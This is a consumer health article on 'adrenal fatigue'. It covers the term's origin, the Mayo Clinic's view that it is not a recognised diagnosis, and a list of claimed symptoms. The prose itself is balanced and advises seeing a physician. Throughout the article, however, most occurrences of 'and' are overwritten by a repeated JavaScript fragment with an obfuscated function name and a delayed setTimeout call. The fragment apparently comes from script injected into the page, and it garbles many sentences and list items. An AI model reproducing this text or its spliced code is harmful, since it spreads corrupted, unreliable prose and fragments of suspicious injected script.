Adrenal Fatigue

 

In 1998, Dr. James L. Wilson, DC, ND, PhD, coined the term “adrenal fatigue” to mean lower-than-normal adrenal Adrenal Fatiguefunction that is caused by stress. The term was created to differentiate this condition from adrenal insufficiency or Addison’s disease. According to Dr. Wilson, the body does the best it can to make up for the faults of poorly working adrenal glandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands. However, the extra work this requires from the body creates new problems of its own.

The theory behind stress-induced adrenal fatigue is that during prolonged periods of high stress, the body releases stress hormones such as cortisol to deal with the situation (the “fight or flight” response). With the adrenal glandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands under continual stimulation, they become exhausted andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and eventually lose their ability to deal properly with stress. They either get stuck in the “on” position once the stress has passed, or do not work sufficiently when needed.

The medical community does not recognize adrenal fatigue as a real diagnosis andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and suggests that there is no scientific basis for this term. According to Mayo Clinic endocrinologist, Dr. Todd B. Nippoldt, "Adrenal insufficiency can be diagnosed by blood tests andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and special stimulation tests that show inadequate levels of adrenal hormones," but suggests that no such test exists for adrenal fatigue. He goes on to say, "Unproven remedies for so-called adrenal fatigue may leave you feeling sicker, while the real cause—such as depression or fibromyalgia—continues to take its toll."  Although mainstream medicine considers the typical diagnosis for this condition to be based on symptoms alone, Dr. Wilson recommends giving the Cortisol/DHEAS Saliva Test to determine if a patient is suffering from adrenal fatigue.

Others are not so quick to dismiss adrenal fatigue, sometimes called "adrenal exhaustion." There are many conditions that mainstream medicine cannot diagnose. Dr. Nippoldt, of the Mayo Clinic admits, "It's frustrating to have persistent symptoms your doctor can't readily explain." Dr. Michael Lam prefers to call the condition "Adrenal Fatigue Syndrome," since there is no one specific cause for it.

Among the signs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and symptoms of adrenal fatigue are the following:

  • Greater frequency of flu andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and other respiratory ailments, with symptoms that last longer than usual.
  • Inclination to gain weight andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and inability to lose it, especially around the waist.
  • Lightheadedness when rising from a horizontal position.
  • Inability to remember things.
  • Reduced sex drive.
  • Trouble getting up in the morning.
  • Lack of energy in the mornings andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in the afternoon between 3–5 PM.
  • Reduced ability to handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andle stress.
  • Increased effort required to perform simple tasks.
  • Lethargy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lack of energy.
  • Dry andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and thin skin.
  • Low body temperature.
  • Alternating constipation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and diarrhea.
  • Sudden improvement of symptoms for a brief period after a meal.
  • Propensity to tremble when under pressure.
  • Need for caffeine or stimulants to start the day.
  • Feeling of tiredness from 9–10 PM, followed by difficulty actually falling asleep.
  • Cravings for fatty, salty, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and high-protein food such as meat andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cheese.
  • Pain in the upper back or neck with no apparent cause.
  • Improved health with reduction in stress levels (for instance, after several days of vacation).
  • Mild depression.
  • Food andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and/or inhalant allergies.
  • Unexplained hair loss.

Though none of these individual symptoms on its own necessarily confirms that you have adrenal fatigue, experiencing a large number of them at the same time may be a warning sign. If you are experiencing many of these symptoms, we suggest that you consult your physician.

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